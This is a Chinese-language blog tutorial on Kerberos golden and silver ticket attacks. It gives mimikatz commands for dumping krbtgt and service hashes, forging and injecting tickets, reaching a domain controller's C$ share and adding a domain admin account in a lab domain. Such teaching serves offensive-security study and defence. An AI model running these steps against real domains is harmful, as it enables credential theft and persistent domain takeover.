- 前言:今天来给大家讲讲黄金票据和白银票据
- Kerberos认证#
- 金票Golden ticket#
- 原理#2. 伪造金票的场景和所需条件#3. 利用方式#
- 银票SILVER TICKET#
- 原理#2. 伪造银票所需条件#
- 金票和银票的区别#
- 获取的权限不同#2. 认证流程不同#3. 加密方式不同#
前言:今天来给大家讲讲黄金票据和白银票据
Kerberos认证#
在学习黄金白银票据前,首先先了解一下什么是Kerberos认证
.KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。
Kerberos认证的大概流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET
金票Golden ticket#
原理#
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
伪造金票的场景和所需条件#
黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
利用方式#
先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH
1
2
privilege::debug
lsadump::lsa
/patch
现在因为某些原因丢失了域控的权限,但是还有一个普通的域内用户
在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存:
1
kerberos::golden
/user
:administrator
/domain
:hacke.testlab
/sid
:S-1-5-21-954094320-202977030-1482179831
/krbtgt
:ac923e1d7f56e0adf967356b8d41953e
/ticket
:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
第二步用mimikatz清除票据
1
2
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
第三步用mimikatz导入票据
1
kerberos::ptt ticket.kirbi
成功访问dc
此时尝试创建一个的域管账号,命令执行成功:
1
2
net user aaa !@
#qwe123 /add /domain
net group
"domain admins"
aaa
/add/domain
银票SILVER TICKET#
原理#
白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
伪造银票所需条件#
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
在域控中使用mimikatz获取相关信息
1
mimikatz.exe
"privilege::debug"
"sekurlsa::logonpasswords"
回到域内低权限的账号
先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:
1
kerberos::golden
/domain
:hacke.testlab
/sid
:S-1-5-21-954094320-202977030-1482179831
/target
:DC.hacke.testlab
/service
:cifs
/rc4
:2c7f354c971b062e1e42f12a30709a7f
/user
:aaa
/ptt
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造
测试一下,成功执行
dir \\dc\c$
,并且可以创建域管账号,复制文件等:
金票和银票的区别#
获取的权限不同#
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同#
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同#
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
版权归原作者 网络安全-生 所有, 如有侵权,请联系我们删除。